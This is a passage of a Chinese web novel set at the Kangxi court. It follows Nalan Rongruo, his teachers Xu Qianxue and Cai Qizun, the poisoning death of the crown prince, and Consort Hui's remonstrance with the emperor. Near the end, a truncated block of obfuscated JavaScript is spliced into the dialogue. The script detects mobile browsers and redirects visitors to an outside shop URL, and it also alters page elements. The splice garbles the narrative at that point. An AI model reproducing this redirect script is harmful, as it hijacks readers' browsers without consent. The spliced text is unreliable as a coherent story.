“这当然是好。”徐乾学点头,“公子心血所耗,定是页页浸透;心力所用,定是卷卷余香。通志堂是公子的雅室,四季存留公子身影,人在书在,书在学问在,学问在则大观之所在。《通志堂经解》用作丛书之名,本官绝无二话。” 纳兰微笑。 神色令人观之而悦。 他笑自己之用意有所成,雅室“通志堂”之名,可以在后世常提于文人之口。 也笑徐乾学答应的轻率,看似与自己的学生达成一致,实际上早在心中酝酿别的诡计,比方说:这套丛书的主编者该由谁署名? 反正不会写:纳兰成德、徐乾学合编。 * 夕阳无限好,将近黄昏之时,纳兰靠坐在椅子上,闭目养神。 旁侧的徐乾学,则是在喝茶,一边还不忘对挂轴上的孔圣人说上几句自己和爱徒容若在将来要成就的“千秋功名” 书能养人,纳兰不觉得困。 终究还是到了这一天,像是有一把看不见尽头的云梯耸入了天际一般,将自己一步一步地推向书山的顶端。 从《古抄本十二卷》到《通志堂经解》,之间跨越的何止是“书卷的体量”和“所需的经费”?更是人的意志和气血。 想来自己的人生真是无趣,在等待下一场殿试的三年里,难道就全部消耗在这些事情上面了吗?那么三年后自己二十二岁,照着术士的预言,就仅剩下八年的存活时光,八年自己能够干什么呢? 看皇上平定三藩、收复台岛、镇压沙俄扰境…… 出版《饮水词》《侧帽集》、随圣驾走遍天下、甚至是为人父…… 真到了一切都化作圆满、此身远离尘嚣之际,身边可有一人陪伴?手中可有一样珍惜之物?眼前可有一处向往之光景? 生前身后,人皆世间一粒沙。 无往无来,命皆幻境一抹光。 纳兰开始慢盘自己的菩提手串。 内心的平静与书外的浮躁相抵,就能专心致志、一往无前。 一人的凝神与众人的多思相衡,就能深邃以对、不惧考究。 有风卷过,携雨飘窗入。 纳兰对徐乾学笑道:“气候多转,斜阳之后就是雨,天公亦是性情中人。” 徐乾学招待道:“公子要是不介意,今日就宿在本官府上、免去策马溅水之嫌,如何?” “吾师厚爱,容若愿意。” “好,好啊……今晚本官要与公子秉烛夜谈,嗜睡方休。” * 风雨至半夜未停。 与徐乾学一同博古通今和辩论书中要理之间,纳兰完全不知宫中的情况—— 数名御医跪在皇上和皇后面前,各种方子都试过了,却不见嫡长子承祜的病情有好转。 玄烨几乎是震怒,走过去一把摘了院使的顶戴花翎,扬言治不好小阿哥的高烧,就要他脑袋搬家。 惠荣德宜四嫔在坤宁宫内,强打着精神等候消息。 忽然间,天上响起了一声惊雷,然后就是一句宫女的忧喊声:“不好了,皇后娘娘晕过去了……” 宜嫔最是心直口快:“该不会是小阿哥——” 没了吧。荣嫔和德嫔神色惶恐。 惠嫔忙安稳人心道:“各位妹妹别多想,皇上还在里面,皇后娘娘母子,谁都不会有事。” 【注1】火耗之款:地方收入的税款和钱款,银子纯色不足,需要重新熔炼后才能上缴朝廷入库。这当中的耗损称为火耗。明珠和索额图均借此敛财。 【注2】康熙皇帝赐给纳兰性德的唐朝画家阎立本的《步辇图》真迹,是纳兰最珍惜且盖章最多(23次)的字画。上面纳兰盖的章包括:成德容若、成子容若、成德、容若书画、楞伽山人、楞伽真赏、楞伽、香界、花间草堂。 97.第97章 纳兰容若在座师徐乾学家中宿了五日,没有贴身侍女袖云的陪伴,他也把自己照顾的好好的。 这五日里,雨水没有断过,好在是师徒之间的话题和论书之趣未受气候影响。 纳兰翻书翻的勤快,且记忆力极好,对部分难解的经典的原文已经心里有数,只待安静之时,再独自做细细拆解。 歇息之时,纳兰饮了一碗祛湿汤,托腮看向窗外。 温书虽好,却容易置身政事外: 不知道“明索两党”如何、施道渊领圣命之后有无摸索出吴应熊和朱三太子的动向、可恶的廉吏于成龙是否顽固不化地打算继续给朝廷添乱…… * 却说在皇宫之中—— 因为嫡长子承祜高烧不退、命危徘徊之事,玄烨本就心烦意乱。 又忽然听见有人来报: “给事中杨雍建弹劾考官蔡启僔和徐乾学,说此二人遗漏了副榜汉军卷子未取名额,乃是大过失,应从严处理。证据在此,还请皇上圣断!” 看罢册子,核对完汉籍考生的成绩和姓名,玄烨一拍桌子。 “纳兰性德未能赴考殿试,已是十分遗憾,我满人学子无一人名次位列三甲,朕脸上无光啊!如今还发生了漏录副榜名额之事,叫朕如何在众汉人考生面前立威?真是岂有此理!!” “万岁爷息怒啊。”顾问行劝道,“这回是满蒙汉三籍考生同考同录的初回尝试,难保事事圆满。” “有罪就当罚!朕倒要看看,以后哪个考官还敢疏忽大意。” 玄烨一气之下,做出了“将蔡启僔和徐乾学两位考官降一级调用”的决定。 * 纳兰向徐府之人借了一把油纸伞,正要登车回家,却看见有外披蓑衣、内穿黄马褂的宫廷侍卫策马而来。 他就猜到了:准是皇上有命令要下达。 纳兰正郁闷皇上怎么会知道他在徐府呢,也已经做好了听令的准备,却不想:那宫廷侍卫竟然是来找徐乾学的。 纳兰只听见那宫廷侍卫道:“公子无恙便好,奴才今日来向徐大人传话。” 徐乾学立刻左右一拍官服上的“灰尘”,做出了接皇上旨意的模样。 他还以为:是自己和弟子容若一同编修《通志堂经解》之事传入了康熙皇帝耳中,皇帝龙颜大悦,特地派人来下发《恩赏之状》、以作激励。 谁知道—— 听来的竟然是: “此次考试,主考官蔡启僔和徐乾学:遗漏了副榜汉军卷子未取名额,过失大矣,朕绝不姑息。现对蔡徐二人做降职调用处理,以平天下汉人学子之口,以应朝纲弹劾之正气。” 徐乾学先是一惊、后是一愣。 回过神来,才不服气道:“纳兰公子在此,本官是纳兰公子的恩师,岂能说降职就降职?调用,是调去何处做何用啊?” 纳兰皱眉看着徐乾学,心想: 我阿玛明珠从正一品内阁要员降为从一品都察院左都御史,都没有如此不满。徐先生你是有错在先,皇上处置的合情合理,为何拿我出来做“不服皇上做法”的理由? 宫廷侍卫道:“奴才先一步去过蔡启僔蔡大人府上了,他打算引咎回乡,远离官场。偏是不像徐大人你,不但不自省、还要把纳兰公子当成‘让皇上收回成命’的筹码。” “本官不会向蔡大人那般经不住吓,夹起尾巴来当逃兵!”徐乾学刻意显摆出不屈之样来,“本官留京不走、只在府中闭门不出,等候皇上发落。” 纳兰心中对徐乾学的人品嗤之以鼻,脸上却是挂着一如寻常的表情。 一刻也不愿在徐府久留,纳兰就撑伞踏入了马车的帘室,朝车夫喊了一句:“去明府。” 哪知徐乾学竟然冒雨追上了前,掀开了卷帘,甩了帘室内的纳兰半身冷雨,自嘲也嘲人,道:“公子,如今本官和你都成了为仕途所沉浮的落拓人,真是当巧、当巧啊!” 见纳兰的脸色因为受凉而苍白了不少,徐乾学又假惺惺地关切道: “公子保重呀!看你这样,本官心疼、心疼难抑啊,不知何日,才能与你再尽这手不释卷、灯明彻夜之乐。唉,苍天开开眼吧,我徐乾学一心一意为大清苦修学术、不计辛劳为社稷栽培人才……” 风吹雨打、情绪相击。 纳兰怎么经得起徐乾学的这般刻意折腾? “吾师愿意把心术用在卷籍中、而非升官路上,自然是件大好事。如此的师徒缘分,契机再来之时,容若愿意敞开通志堂来相迎。” 言罢,他就拉下卷帘,朝双手的掌心哈了数口气,叫了车夫快速启程,不再面对那性本卑劣:自己因错栽倒、也见不得弟子好的徐乾学了。 * 纳兰容若刚走,顾贞观德身影就出现了。 顾贞观跟徐乾学一样,浑身湿漉漉,看着就跟是喜迎风雨而来一样。 顾贞观冷讽道:“老天开眼,徐乾学这就是你的报应!” 徐乾学也不转身进入府中的屋檐底下,只任凭大雨冲刷自己,怒瞪那“京师第一喷子”。 “我爱徒容若刚刚回家,你是几个意思?”徐乾学恨道,“落井下石、看本官的笑话,倒是比谁都快。” “顾某都看见了,你是把自己的失意都往贵公子身上发泄了。”顾贞观指向马车停靠过的位置,“好你这个歹毒之人,顾某非将你的不义之举上告明府不可!” “上回明珠大人没有处置你,你底气反而足了?”徐乾学原地跺脚,弹起水花阵阵,“你一个草民,连朝廷命官都敢不放在眼里,简直无法无天!” “你还有脸说自己是个官?”顾贞观不屑大笑,“你把弟弟徐秉义的卷子辨的清楚,副榜汉军卷子却是忽略不计,谈何官德与人格?”【注1】 “即使本官有疏漏,那蔡启僔就没错吗?多人核对都还有闪失,就是天意;同罪同罚,拼的是谁有骨气。” “呵呵。”顾贞观对徐乾学冷眼一扫,“骨气?真是笑话。照顾某看,徐乾学你就是脸皮厚,把‘死皮赖脸的岿然不动’美化成了:凛然风骨,不怕受罚。” ——顾贞观没有说错。 当自己那劣根性被公之于众的时候,徐乾学低下了头。 又是一阵狂风搜刮,吹的雨中之人站立如雕像。 不是不动,而是自知“诸错已成千斤顶”,迈不动脚。 不是无感,而是自恃“人不自弃天不弃”,以身赌命。 * 另一边,纳兰容若并未回明府。 而是临时改变主意,去了座师蔡启僔家中。 蔡启僔原本在家中收拾行囊,听闻明珠家的长公子纳兰容若前来,心中无限感动,想来在这个节骨眼上还惦记着座师的学生,也就只有他了。 蔡启僔迎了出来,拉着纳兰的手往里走,牵肠道:“公子在风雨中来,苦着冷着自己,我亦过意不去。” 纳兰关切座师道:“蔡先生这次遭受皇上打压,皆是受了牵连、为徐先生所累的缘故,学生都明白。” 蔡启僔拿了巾帕过来给纳兰、让纳兰擦拭身上的冷雨和脸上的泪痕。 纳兰感慨道:“容若知道,蔡先生您跟徐先生不同。您不贪恋荣华富贵和功名利禄,是个专心学问的大学者和好先生。一朝离开京师,重回故乡,前路难料,还请多多保重。” 蔡启僔泪眼俱下,道:“我只当自己是孤独而走,不想还能得到公子的如此温言,真是师者有幸。我回故乡以后,必定是闲云野鹤,专心著书,再不想经历官场之事了。” 纳兰握着座师的手,真挚道:“人生起伏,宦海沉浮,不如林间涉溪,山头望月。何处不为家,浮萍根断亦自流,风雨共心情。” 纳兰问蔡启僔要来笔墨,写下: 《摸鱼儿·送别德清蔡夫子》 问人生、头白京国,算来何事消得。不如罨画清溪上,蓑笠扁舟一只。人不识,且笑煮、鲈鱼趁著莼丝碧。无端酸鼻,向岐路消魂,征轮驿骑,断雁西风急。 英雄辈,事业东西南北。临风因甚泣。酬知有愿频挥手,零雨凄其此日。休太息,须信道、诸公衮衮皆虚掷。年来踪迹。有多少雄心,几翻恶梦,泪点霜华织。 蔡启僔读罢,心中对纳兰长存感激与惜别。 除了国子监的时光,他与纳兰共处的日子并不多,但是纳兰的才气和对人的热忱、以及那种孜孜不倦的求学精神,却是给他留下了深刻印象。他的学生无数,真正惦念师恩、且在最后关头与老师珍重道别、能够体会老师心情的人,仅仅纳兰容若一个而已。 这些年来的育人心血和修史青灯,都作流水去、清灰尽。 一程官路的翰林风云和同僚无情,皆是浮云耳、尘埃也。 “容若啊,我这些藏书,”蔡启僔拉纳兰到那几个大大的箱子面前,“本是想托了镖局之人带回家乡去的,但是今日见你前来,我就改变主意了,决定全部相赠于你。” 纳兰大喜,泣道:“容若得蔡先生如此馈赠,满心欢悦,无以言表。必定认真读书,承前启后,学以致用,牢记蔡先生教诲于心。” “这些经典,都是我毕生所搜集、所典藏。”蔡启僔弯腰轻抚箱面,“所能够信任和寄托之人,只有容若你啊!” “是。”纳兰向蔡启僔行了读书人之礼,“学生诚领师恩,用功学海,领悟慧言,至明至悟方休。” “蔡先生,今日学生与您别过,但求来日彼此有缘再相见。盏盛明月,佩映清辉,指邀星斗,竞书风流。” “容若,你是我最骄傲的学生。若说我蔡启僔有什么值得青史记载之事,那就是‘纳兰容若之师’这六个字啊!” 雨斜心织,纳兰在依依不舍中向恩师挥手。 只愿恩师返乡之后,顺遂烟波钓徒之志、云为友风为侣,扁舟一叶不赋愁。 * 一日夜里,惠荣德宜四嫔正在坤宁宫的侧暖阁打盹。 忽然传来了一句撕心裂肺的哭喊声:“孩子——!!” 惠嫔在远黛的搀扶下站了起来,正要跟另外三位妹妹一同去皇后的寝殿探望,就有一个小太监进来。 那小太监伏地,悲呛道:“启禀各位主儿,皇后娘娘的嫡子……没了。” 惠嫔沉凝不语,对赫舍里皇后的哀痛之情感同身受。 年纪最小的德嫔问:“好端端的人,怎么从起病到现在,不出二十日就没了?” 那小太监道:“宫里的嬷嬷都是细心照顾的,小阿哥的病,只恐是恩宠太重、福泽过多,小小身躯难以承受的缘故啊!” “你这什么话?”荣嫔颤声道,“皇上皇后的福气只会庇佑小阿哥成长,哪里会成为小阿哥没法消受的催命符?” 小太监低头,小声道:“回荣嫔娘娘话,小阿哥自降生之日起,所用之礼数、所设之宴席、所承之恩典,前朝后宫人人都是看在眼里的。所谓:人小多福,不若人小多艰,就是这个道理啊。” 宜嫔快言快语,问:“你对皇后寝殿的情况看得仔细,老实说,诸位医官对小阿哥的高烧,是不能治、不会治,还是没法治、不敢治?” 小太监欲言又止。 “说呀!”宜嫔催了一声,“只有我们四妃听着。” “各位主儿,索大人在朝中树敌众多,曾经权倾太医院,要不是纳兰公子找西医之事成了导火索,指不定太医院会变成什么样子呢。奴才斗胆说一句,若是当中的某个御医自己找死,因为之前受了索大人欺压、而将怀心思使到了索大人的侄孙承祜身上,也不是不可能。” “惠姐姐。”宜嫔叫了一声,“这话咱们是往肚子里咽?还是四妃一起去回了皇上?” 惠嫔细细斟酌,道:“现在皇上在养心殿歇息,还未知嫡长子薨逝,咱们不能惊扰圣心。照我看,应该一起去回了太皇太后,才最为妥当。” 宜嫔又问了那小太监一句:“你觉得哪个御医最可疑?” 那小太监摇头,“回各位主儿,奴才不好说。自古害人之事,都是行动于无形,哪能表露出来的?” 惠嫔道:“你去把自己的推想告知顾问行顾总管,就说惠荣德宜四妃和老祖宗都知道了,叫顾总管找对了时机再跟皇上说,让皇上好生拿主意去查。” “惠嫔娘娘,这差事奴才不能办呐。”那小太监后怕道,“万一御医害了皇嗣之事属实,那就是赫舍里一族自食其果。因果报应之事,皇上处理起来也为难。” “这倒是。”荣嫔道,“惠姐姐,如今皇后娘娘伤心欲绝,皇上拿什么理由去处置犯事的太医?总不能叫皇后娘娘接受这么 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“惠荣德宜四妃带着坤宁宫的小太监李公公去慈宁宫,张公公把自己的想法都跟太皇太后说了,太皇太后立刻叫人去细查那些给小阿哥看过病的御医,结果发现:是林文骁林太医往汤药里多加了一味小儿不宜的猛药‘穿心子’,才导致小阿哥心肺衰竭、浑身发烫、炙热不退而死。” 容若问:“当时就没人发觉?没人验药和试药吗?” 刘鹰道:“大家都乱作一团,只管将有用之药都往小阿哥身上试,哪里会有时间顾及汤药里头是不是被人动了蹊跷?凡药三分毒,别有用心之药更是毒上加毒,偏偏小阿哥又小,自个难受也表述不出来啊!就只能由得那些太医折腾。” 觉罗氏叹道:“如此残害一个小生命,林太医真是毫无人性。” 刘鹰将真相和盘托出: “林太医自己招了,他之所以不怕死、敢残害皇嗣,是因为觉得自己再呆在太医院也没有指望和盼头了,不如干一番惊天动地之事来赴死这一生。” “老爷夫人可还记得,容若公子去太医院找西医之前,整个太医院都跟索额图在暗地里保持着见不得光的关系。事发后,索额图却把关连撇的干干净净,就跟是无辜的人是自己一样,哪顾太医院上下的死活?” “后来在容若公子的提议下,皇上重新编制和整改了太医院,看上去是除了前院使之外御医们都保住了性命,皆大欢喜,但是那些御医们谁心里没有苦楚呢?是个个记恨依旧在朝中呼风唤雨的索额图。” “所以,为了一打索额图的得意嘴脸和报复索额图的过河拆桥,太医林文骁就凭一己之力做成了‘药杀皇后嫡长子’之事。” 明珠冷道:“索额图早知今日,何必当初?” “皇上的嫡长子没了,那就等于索额图的指望没了。”觉罗氏思忖着,“且不论赫舍里皇后还有无心力去生产下一胎,当下正是老爷好好为皇上分忧、反超索党的大好时机呀!” 揆叙和揆方齐声道:“儿等恭喜阿玛,贺喜阿玛。” 明珠脸上掠过一丝笑意,转而看向容若:“你呢,在想什么?” 容若朝明珠点头,道: “儿跟额娘想的一样,与阿玛同立场同步调,尽能耐以解皇上国事之忧,尽本分以缓皇上家事之愁。以功绩和真心服君心,送阿玛再登正一品之位。” 明珠再问自己的宫内线人:“皇上和太皇太后如何对待小阿哥之死?” 刘鹰将探的情报说出: “林太医被处以极刑、株连九族。皇上沉痛无比,两日未思茶饭,一直陪在皇后身边,不理会朝中事物,大臣们递上来的折子,都被搁在养心殿里面了。皇上跟皇后说了林太医对小阿哥痛下杀手的真相,皇后不肯信,心情和身体都是越发虚弱了,更是一刻都离不开皇上、也不肯小阿哥挪出坤宁宫去下葬。” “太皇太后叫了索额图去慈宁宫论罪,但终究因为林太医之举:是属于个人独断的横行妄为,而无法在索额图头上动大刑罚,又兼顾了皇后娘娘的心情,只对索额图做了训诫与罚俸。” “这处罚太轻了!”明珠一拍桌子,“林太医再怎么没人性,索额图也是罪魁祸首,怎么能如此了事?” “阿玛,那可不仅仅是皇上的家事。”容若递了杯茶让明珠消气,“赫舍里一族再怎么说都显赫势力,太皇太后只能轻办。人在悲伤中容易乱神,皇后娘娘同时经不得失子之痛和家人遭处决之泪。所以这事注定了就这么收场。” “如今皇上不主国事,索额图等同于未罚,朝纲还怎么运转?”明珠把茶杯往石桌上一搁,“换做本官是裕亲王福全,早——” “阿玛您说什么啊!”容若堵住了明珠的嘴,“朝中乱不了,皇上不理政、索额图咎由自取害死了自己的侄孙……不是还有您和太皇太后吗?” “阿玛给你算算眼下有多少吃紧的事儿——” 明珠站了起来,“三藩未平、台岛未明、士人之心未定、边夷民族未安、海陆流寇未除……” “儿知道。”容若沉思,“都是些耽误不得、要皇上拿战略主意的事儿。” 半晌,容若说出一句话来:“皇上……得有人去劝。” “你不会是想着再闯一次后宫,充当说客吧?”明珠板起脸来,“阿玛警告你——” 容若否认道:“儿没有这想法。” “那你说谁去劝皇上合适?”明珠在儿子面前左右徘徊,“顾总管还是苏嬷嬷,后宫能够走近皇上的,也就只有他俩。” 容若摇头,“还有一个更贴近皇上的人。” 明珠曳然止步,问:“谁?” 容若定神,愿与不愿参半道:“那……自然是惠嫔娘娘。” 【注1】 “录取亲弟、遗漏汉卷”的这个史实,的确是徐乾学的污点。 徐乾学并非善茬: 1、前期折磨消耗容若的身子骨,后期教唆门生扳倒明珠;2、日常更是用度奢侈,浪费成性,光是早膳就要50只馒头、50只烤鸟肉、50只鲜果;3、自发形成江南文人势力,扰乱朝纲风气;4、贪赃枉法,败坏吏治。 98.第98章 延禧宫。 太监张全保带了明珠的口信过来。 惠嫔听罢,问:“明珠大人的意思,是让本宫去劝谏皇上?” “回娘娘话,这也是纳兰公子的意思。” 听见表兄的名字,惠嫔心中一软,但是很快又回过神来。 “你可知道,因为嫡长子承祜夭折之事,皇上连太皇太后的规劝都敢顶撞,只一味与皇后一同陷在失子之痛里,本宫如何能再去碰钉子?” “惠嫔娘娘,明珠大人忙于朝务无法抽身,纳兰公子对后宫之事有心无力,为了大清和皇上好,规劝皇上振作的难事还得是您去办呐。” “好,容本宫细想后再去。” “是,那奴才这就去给明珠大人回话。” 张全保走后,远黛道:“娘娘,这会儿谁也不敢往坤宁宫去,皇后谁的话都听不进去,承祜到现在还停着灵柩呢。太皇太后说这不合规矩,皇上却是依皇后的意思,也不肯让承祜入土成佛。” 惠嫔缓声道:“以前不见皇上和皇后之间的感情深,现在因为骨肉相连,却是彼此一心同伤。”惠嫔摇头轻叹,“照这么下去,康熙朝没出‘后宫干政’之过,倒出了皇上‘家事国事不分轻重’的载册反例了,真是叫人心寒啊!” “可是,”远黛不解,“皇后娘娘一贯识大体,为何这次回离不开皇上?她真的不为皇上的名声考虑了吗?” “孩子就是额娘的命啊!”惠嫔体恤道,“皇后贵为国母,平日里不敢出错;作为六宫之主,她善待每一位嫔妃;作为皇上嫡妻,她尽了延绵子嗣之责。说白了,就是错不在她、却要让她来承受一切,她有苦说不出,只能向皇上求垂怜。” 远黛担心道:“皇上对皇后垂怜太多,迟早会酿成大祸的呀!” “本宫明日上午就去坤宁宫。” “娘娘真的不怕皇上不但不听劝,反而将您治罪吗?” “本宫如今能够体会表兄在万难之际仍旧向皇上进言、不怕死的心态了。远黛,这是我和表兄身为纳兰氏一族之人的宿命。” * 次日早晨,纳兰容若坐在养心殿的侧座内,看着空荡荡的皇帝主位。 连日以来未阅的奏章,已经堆积如山。只恐朝臣们的言论,也是如沧海无涯,不可计数。 ——多少军国大事等着皇上您处理啊! 纳兰在心中一叹。 梁九功拿来了一篮顶好的苹果,道:“公子,奴才听说今日惠嫔娘娘要去谏言皇上,无论凶吉,您拿一个苹果在手中总是好的。” “梁公公,你把苹果放桌上就好,我盘菩提子。” “是。奴才知道公子担心惠嫔娘娘,这就到外头候着去,一有消息过来就给公子回话。” “有劳梁公公。” * 坤宁宫寝殿内,玄烨正陪着躺在床上、无精打采的赫舍里皇后。 惠嫔上前,跪地请安道:“臣妾请皇上、皇后娘娘礼。” 玄烨如常应道:“起来吧!” 却不见惠嫔有所动作,就问她:“怎么还跪着?” “回皇上,臣妾接下来要说的话,恐怕会惹怒龙颜,所以选择跪着。” “惠嫔!”玄烨一挑眉,气道,“明珠和纳兰性德都不曾这样要挟朕,你一个妃子、一个女人,就敢用这种方式来让朕完完整整地听你说话?” “臣妾自知此举不妥,但是为了能让皇上把话听进去,还是无悔。” “好,那你就跪着!”玄烨离开皇后的床榻,坐到了椅子上,看着已经转身向己的惠嫔,“你有什么话,直说吧。” “臣妾深知皇上心情,但朝中事务不可耽误,请皇上慎言行、明轻重、思重担,尽快劝慰皇后娘娘将嫡长子入土为安,以驱散后宫愁云,为前朝之政开云见日。” “惠嫔,你这是什么话?是句句都在指责朕错了吗?” “臣妾不敢。” “既然不敢,一而再再而三地用行动和言语来针对朕,你难道就没有一点为人母的同理心吗?非要将朕从皇后身边支走,你和其她嫔妃才称心如意?” “皇上所言,臣妾不能认。臣妾只是劝谏皇上以大清江山为重,以天下百姓为重,以祖祖辈辈打下的万年基业为重,早日从已经无力回天的失子之痛中走出,重新回归治国理政的状态。” “好,朕没有做到你所说的:三为重!在你眼里,朕算是个昏君吗?” “皇上,身为嫔妃,后宫众姐妹力求为君分忧;身为臣子,前朝文武为国鞠躬尽瘁。皇上能对后宫之外的事情充耳不闻吗?若是,那您就是昏庸无能!” 顾总管道:“万岁爷,惠嫔娘娘所说,句句在理啊。” 玄烨恨道:“在理,也是冒犯天威!” 惠嫔含泪道:“皇上要是认为臣妾大不敬,罪当死,臣妾死而无憾。” “死?”玄烨怒沉着脸,“惠嫔,你想用死来证明朕的狠戾吗?” 惠嫔不惧,正直谏君道: “勤政可以安百姓,圣德可以治天下,君臣同心可以平寇辱,这是太皇太后前些日子当着众嫔妃、众太医、众传政大臣的面,教给皇上的明君之道。臣妾一字一句记在心里,恳请皇上谨记太皇太后的训诫。” 顾总管跪地,磕头道:“奴才也恳请皇上虚衷以纳,不要辜负了太皇太后多年的心血教导与栽培啊!” 玄烨单手撑着脑袋,静思良久。 想来:朕以前笑话纳兰,说纳兰的人生肯定会被一个“情”所误,而今却道自己也情关难出。与皇后的夫妻之情、与承祜的父子之情,是朕心底的柔情,朕知道这不能跟江山的豪情相比,但朕也是个男人、一个父亲啊! 在将来,朕的江山可以托付给谁?朕的皇子们,有几人可以顺利长大?执掌在朕手中的社稷,究竟是幸还是不幸? 该从后宫之中走出来了,该回到朝堂和养心殿当中去了,去面对纷繁的天下大势、去答复奏折的大小事务、去当一个勤政为民的好皇帝……甚至是,去看看纳兰的模样,有纳兰在,朕的喜怒哀乐才在,朕最真实的一面和最真实的情绪,都是纳兰给的,彼此才能消受得起彼此。 “朕——”玄烨看向赫舍里,“不可推诿作为夫君的责任,亦不可置朝政于不顾,皇后可否体谅?” “家国本就难并重,”赫舍里露出一个坚韧的神情来,“皇上以社稷为重,才是天下臣民之福。” “皇后,”玄烨上前,拍了拍嫡妻的手掌背,“你自己要好生保重,记着自己的身份,你是后宫之主也是大清国母,孩子没了,咱们还可以再生,切勿再伤神了。” “是,臣妾谢皇上开导。” “那朕,处理朝政之余,再来看你。” “臣妾恭送皇上。” 惠嫔看着从自己身边走过,却未看自己一眼的玄烨的背影,心中五味杂陈。 如此也罢,自己和皇长子的雨露恩泽,与其等着皇上来赐予,还不如自求多福。没有什么难关是克服不了的,后宫女子之路,只进不退,是坦途还是险途,都好好面对就是了。 * 从梁九功口中听得惠嫔成功劝谏皇上的消息之后,纳兰松了一口气。 “皇上有无罚她?” “没有。” “皇上去哪儿了?” “万岁爷上慈宁宫去给太皇太后请罪了。” “顾总管呢?” “皇后娘娘终于肯把嫡长子入土为安了,干爹按照万岁爷的吩咐,去安排小阿哥的身后事了。” “一切都恢复了正轨就好。” “是啊,大清只有一个皇上,没有分身术,无法面面俱到。奴才相信,后宫的主儿们都是知道和记得万岁爷的好的,满朝文武也是能够理解和跟万岁爷同心的。” “皇上回来以后,梁公公你要仔细伺候,不该问的点和不该说的话,都别问别说。皇上要是提起我,你就这么回话:纳兰公子来过,对皇上担心过,请皇上批阅折子的时候,不要太快太劳累,一份一份要有节奏地看才好。为臣者,随时聆听君命。” 纳兰前脚刚走不久,索额图后脚就来了。 梁九功惊讶于索额图的脸上,竟然不带任何悲伤神色,就跟自己的侄孙承祜之死,一点都无所谓一样。 “皇上不在,不知索大人前来,所为何事?” “本官得了两样好东西,乃是明珠之子纳兰性德的《五色蝴蝶赋》和《五色蝴蝶图》,前来把誊抄本和复刻之作拿给皇上看。” 梁九功疑道:“不知这两样原本是属于纳兰公子的私人作品的东西,索大人是从何处所得?” “这你管不着。”索额图一摆手,“本官认真读过,纳兰性德的《五色蝴蝶赋》遣词造句极其夸张与华丽,借物喻人,满篇神思,襄王有梦,只待神女。” 见梁九功皱眉,索额图“哼”了一声,继续道:“皇上的嫡长子才刚刚薨逝,纳兰性德就急不可耐地思索自己的亲事,简直是没把皇上放在眼里!” “索大人的意思是?” “本官不走了,就在养心殿等着皇上来,要一五一十地把篇章和画作之事回禀皇上,等着皇上把明珠的儿子叫来治罪!” * 明府,渌水亭畔。 “容若,你也是到了该娶妻的年纪了。”明珠和善笑道,“俗话说的好:父子母子是半辈子,娶妻是一辈子。你身边,是该有个可心的人儿琴瑟和鸣。” 容若应的飞快,“儿不想娶什么卢氏,儿就是介意她说的‘若’是世界上最悲伤的字的那句话。” “阿玛已经为你了想好了,照着咱们满人的习俗,先为你纳个侧室。” “阿玛心中有人选了?” “阿玛和额娘一起问问你的意思,你觉得袖云如何?” 明珠的脸上,笑意不变,只等着容若应许。 “袖云很好,儿愿意娶她。” 容若说的是真话。 “好,那阿玛就将你娶颜氏的事提上议程。”明珠用眼神赞许儿子懂事,“等这阵子非常时期过去了,阿玛就请了太皇太后的恩准,让你俩把亲事办了。” 容若诚心欢喜:“谢阿玛,谢额娘。” 觉罗氏悦颜道:“儿子,现在额娘就跟你一起去跟袖云说。她是个好姑娘,一直跟着你,最是了解你的品味习性和身体状况,也最是能够体会你的惆怅情结和凌云抱负……” “是。”容若起身,“都听额娘的。” * 玄烨好不容易从悲伤中走了出来,也得到了孝庄太皇太后的宽解,正打算去养心殿见见自己认为“一定会在”的纳兰,却不想见到的是最不想见的索额图。 玄烨正想大骂一声:“索大人,你给朕滚出去!” 下一瞬间,却从索额图口中听见了这么一番话: “臣偶的纳兰性德笔墨,已将誊写稿和复刻画稿悉数上呈皇上御案,还请皇上圣阅明鉴:纳兰性德不以皇上失子为悲,洋洋长篇大写似蝴蝶般的美女,实在是有失体统和天子颜面!” 未了,索额图又大声强调道: “《五色蝴蝶图》中,纳兰性德题写李商隐诗句:鄂君怅望舟中夜,绣被焚香独自眠。微生尽恋人间乐,只有襄王忆梦中。那就是说,他一晌贪欢,游乐人间,已得神女,要纳妾,要给自己喜欢的女子名份……“ “什么?”玄烨恼索额图,更恼自己的陪臣,“朕的嫡长子才离世,纳兰就要纳妾?不许!” “哎哟万岁爷,您这是哪跟哪?纳兰公子又没有得罪您。”顾总管忙劝,“何况公子这是纳妾,不是娶正妻,不至于太热闹非凡。” “索额图,”玄烨对眼前人一指,“以后你要是再敢用见不得光的手段、在朕之前先看到纳兰的文章和画作,借机生事,朕绝不轻饶!” “臣是为了皇上好!”索额图振振有词,“如此陪臣,自私自利,私情为上,君侧当清。” 玄烨怒拍桌案,转移话题道:“索额图,朕叫你去盯于成龙的动向,你有什么话要回?” “回皇上,臣还未对这份差事所有行动。” “好啊,你连朕的命令都敢当耳边风!”玄烨喘着气,“朕就再给你一次机会,即刻去办,否则别怪朕对你数罪并罚!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125489|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“臣领命告退。” “万岁爷消消气。”顾问行扶了康熙皇帝坐下,“据奴才所知,承祜薨逝后,索大人连一滴眼泪都没掉过呢。这会儿索大人竟然恶人先告状,满嘴枪子儿说纳兰公子的不是,索大人他……真是不配当皇后娘娘的叔父。” “算了。”玄烨喝了一口茶,“朕也不想为难纳兰,纳兰本就到了成家的年纪,纳妾就纳妾吧。朕成全他,就当是为自己和为皇后皇嗣积德了。” “万岁爷圣明。” * 一个半月以后。 玄烨带着顾总管和少数护从,悄无声息地登入了明府。 花园之中。 池亭两相临,远观复近看。 时有云叶滴,生动衬清影。 顾总管称赞道:“万岁爷,纳兰公子专注观蝶的样子,真是天下翩翩公子的典范呐。” 玄烨走过去,猝不及防地在纳兰身后问:“朕是不是要叫人去捉全天下最好的蝴蝶过来,用银针钉着它们的翅膀、做成标本来专门供你消遣?” 纳兰一惊,回头,“臣参见皇上。” 玄烨一扬手,“免礼。” 面对玄烨的眼神,纳兰应道:“皇上不必了,臣不爱看不会动的蝴蝶。” 玄烨往下一指,“这朵牡丹花上面的蝴蝶动了吗?” 